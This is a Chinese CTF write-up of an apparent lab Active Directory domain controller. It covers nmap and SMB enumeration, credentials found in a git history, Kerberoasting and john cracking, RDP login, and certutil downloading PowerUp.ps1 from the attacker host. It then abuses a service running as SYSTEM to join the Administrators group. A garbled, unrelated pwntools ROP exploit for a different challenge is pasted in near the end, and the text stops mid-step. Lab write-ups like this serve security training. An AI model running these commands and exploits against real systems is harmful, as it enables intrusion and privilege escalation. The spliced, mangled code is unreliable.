靶机ip：10.10.76.81

信息收集

nmap扫描

1	nmap --min-rate 10000 -A -sV -sC -p- 10.10.184.113

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-23 15:44 CST
Warning: 10.10.184.113 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.184.113
Host is up (0.36s latency).
Not shown: 59956 closed tcp ports (reset), 5552 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-23 07:44:58Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM0., Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: LAB-ENTERPRISE
|   NetBIOS_Domain_Name: LAB-ENTERPRISE
|   NetBIOS_Computer_Name: LAB-DC
|   DNS_Domain_Name: LAB.ENTERPRISE.THM
|   DNS_Computer_Name: LAB-DC.LAB.ENTERPRISE.THM
|   DNS_Tree_Name: ENTERPRISE.THM
|   Product_Version: 10.0.17763
|_  System_Time: 2024-10-23T07:46:13+00:00
| ssl-cert: Subject: commonName=LAB-DC.LAB.ENTERPRISE.THM
| Not valid before: 2024-10-22T07:43:23
|_Not valid after:  2025-04-23T07:43:23
|_ssl-date: 2024-10-23T07:46:26+00:00; -1s from scanner time.
5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7990/tcp  open  http          Microsoft IIS httpd 10.0
|_http-title: Log in to continue - Log in with Atlassian account
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49673/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
49713/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/23%OT=53%CT=1%CU=31414%PV=Y%DS=2%DC=T%G=Y%TM=671
OS:8A9DA%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10B%TI=I%CI=RD%II=I%SS=
OS:S%TS=U)SEQ(SP=102%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=102%GCD=
OS:1%ISR=10C%TI=I%CI=RD%II=I%SS=S%TS=U)SEQ(SP=103%GCD=1%ISR=10C%TI=I%CI=I%I
OS:I=I%SS=S%TS=U)OPS(O1=M509NW8NNS%O2=M509NW8NNS%O3=M509NW8%O4=M509NW8NNS%O
OS:5=M509NW8NNS%O6=M509NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=F
OS:F70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M509NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=
OS:Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=
OS:0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: LAB-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-10-23T07:46:15
|_  start_date: N/A

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   359.39 ms 10.14.0.1
2   360.71 ms 10.10.184.113

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.50 seconds

不难看出这是一台域控机器，开放了若干端口，域名为LAB.ENTERPRISE.THM，将其添加到/etc/hosts文件中

SMB

先简单探测下smb服务

1	smbclient -L //10.10.184.113

发现一些共享目录，尝试匿名登陆访问

1	smbclient //10.10.184.113/Docs

发现两个文件get下来

1	smbclient //10.10.184.113/Users

把desktop.ini下载下来，同时在Users目录中，找到一些用户名

将用户名保存下来

在Default目录中找到些文件，查看一下之前下载的文件

发现这两个文件需要密码才能查看

80端口

默认页面没什么信息，扫描一下后台

没啥用

7990端口

这是一个Atlassian并且发现内容是Enterprise-THM，正在迁移至github，我们上去google搜索一下

注意到有个用户Nik-enterprise-dev，里面有一个库mgmtScript.ps1，库里面还有个ps1文件mgmtScript.ps1

查看一下历史记录

发现了他的用户名及密码nik:ToastyBoi!

rpc

有了一组用户凭据，尝试探测一下rpc，枚举一下用户

1	rpcclient lab.enterprise.thm -U nik --password="ToastyBoi!"

找到很多域用户，将其保存到users文件中，方便后续利用

rdp登录bitbucket

有了一组凭据和用户名列表就可以尝试AS-REP Roasting，检查一下域中用户是否有用户禁用了预身份验证，如果有的话，我们就可以请求TGT密钥，就可以尝试离线破解密钥

1	GetNPUsers.py lab.enterprise.thm/ -usersfile users -dc-ip 10.10.184.113

接下来查看是否有用户设置了SPN，如果有的话，我们可以请求TGS密钥

1	GetUserSPNs.py lab.enterprise.thm/nik:ToastyBoi!

发现bitbucket用户设置了SPN，我们请求TGS并尝试破解

1	GetUserSPNs.py lab.enterprise.thm/nik:ToastyBoi! -request

将上述票据保存为hash，使用john爆破hash值

john hash --wordlist=/usr/share/wordlists/rockyou.txt

john hash -show

爆破出密码littleredbucket

rdp尝试登陆

1	xfreerdp /u:bitbucket /p:littleredbucket /v:lab.enterprise.thm

在桌面找到user.txt

提权至root

使用PowerUp.ps1来分析可能提升权限的漏洞，将文件传到靶机上

攻击机启动python服务

从受害者机器上，我们使用certutil从 Powershell 获取可执行文件：

1	certutil.exe -urlcache -f http://10.14.90.122:8000/PowerUp.ps1 PowerUp.ps1

运行PowerUp.ps1后执行Invoke-AllChecks

1 2	. .\PowerUp.ps1 Invoke-AllChecks

我们发现zerotieroneservice是作为SYSTEM运行的，并且可以重启该服务

使用下面的命令滥用此功能，将当前用户bitbucket添加到管理员组

1	Install-ServiceBinary -Name "zerotieroneservice" -Command "net localgroup Administrators lab.enterprise.thm\bitbucket /add"

执行后，我们重启zerotieroneservice服务

1 2	sc.exe stop zerotieroneservice sc.exe start zerotieroneservice

xxxxxxxxxx105 1from pwn import2import ctypes345context(os=‘linux’,arch=‘amd64’,log_level=‘debug’)6libc=ELF(‘./libc.so.6’) 7elf=ELF(‘./vuln’)8#p=remote(“pwn-ecdfbe9bc0.challenge.xctf.org.cn”, 9999, ssl=True)9p=process(‘./vuln’)1011 1213141516def xun():1718 for i in range(100):19 #print(payload)20 p.recvuntil(b’Input the authentication code:‘)21 #payload = str((elf1.rand()%100) + 1)22 #p.send(payload)23 p.send(p64(elf1.rand()%100+1))24 25 # sleep(0.1)26 27 28rdi=0x000000000040189329#gdb.attach§30#pause31p.send(b’1’)32#sleep(0.5)33elf1=ctypes.CDLL(“./libc.so.6”)34#elf1=ctypes.LoadLibrary(“./libc.so.6”)35elf1.srand(elf1.time(0)) #与题目相同以时间为种子3637xun()3839p.sendafter(">> ",p32(1))40p.sendafter("Index: ",p32(1))41p.sendafter("Note: ",b’a’)4243payload=b’a’(0x100+8)+p64(rdi)+p64(elf.got[‘puts’])+p64(elf.plt[‘puts’])+p64(0x00000000040177B)44#bug()45p.send(payload)4647libc_base=u64(p.recvuntil(“\x7f”)[-6:].ljust(8,b’\x00’))-libc.sym[‘puts’]48#print(hex(libc_base))49print(hex(libc_base))50515253rdi = libc_base+0x0000000000023b6a54rsi = libc_base+0x000000000002601f55rdx = libc_base+0x0000000000142c9256rdx_r12=libc_base+0x000000000011921157rax = libc_base+0x000000000003617458ret = libc_base+0x000000000002267959syscall=libc_base+0x000000000002284d60open_=libc_base+libc.sym[‘open’]61read=libc_base + libc.sym[‘read’]62write=libc_base + libc.sym[‘write’]63mprotect=libc_base + libc.sym[‘mprotect’]64bss=0x404060+0x500656667p.send(b’1’)68#sleep(0.5)69elf1=ctypes.CDLL(“./libc.so.6”)70#elf1=ctypes.LoadLibrary(“./libc.so.6”)71elf1.srand(elf1.time(0)) #与题目相同以时间为种子7273xun()7475p.sendafter(">> ",p32(1))76p.sendafter("Index: ",p32(1))77p.sendafter("Note: ",b’a’0x100)787980#rl(“lets move and pwn!”)81payload=b’a’(0x100)+p64(bss)+p64(rsi)+p64(bss)+p64(read)+p64(0x0004013EE)82#bug()83p.send(payload)84#pause()8586orw = b’/flag\x00\x00\x00’87orw += p64(rdi) + p64(bss) #/flag的字符串位置，要改88orw += p64(rsi) + p64(0)89orw += p64(open_)9091orw += p64(rdi) + p64(3)92orw += p64(rdx_r12) + p64(0x50)*293orw += p64(rsi)+p64(bss+0x200) #读入flag的位置94orw += p64(read)95orw += p64(rdi) + p64(1)96orw += p64(rdx_r12) + p64(0x50)*297orw += p64(rsi)+p64(bss+0x200) #读入flag的位置98orw += p64(write)99100#print(hex(len(orw)))101print(hex(len(orw)))102p.send(orw)103104105p.interactive()python

查看一下当前用户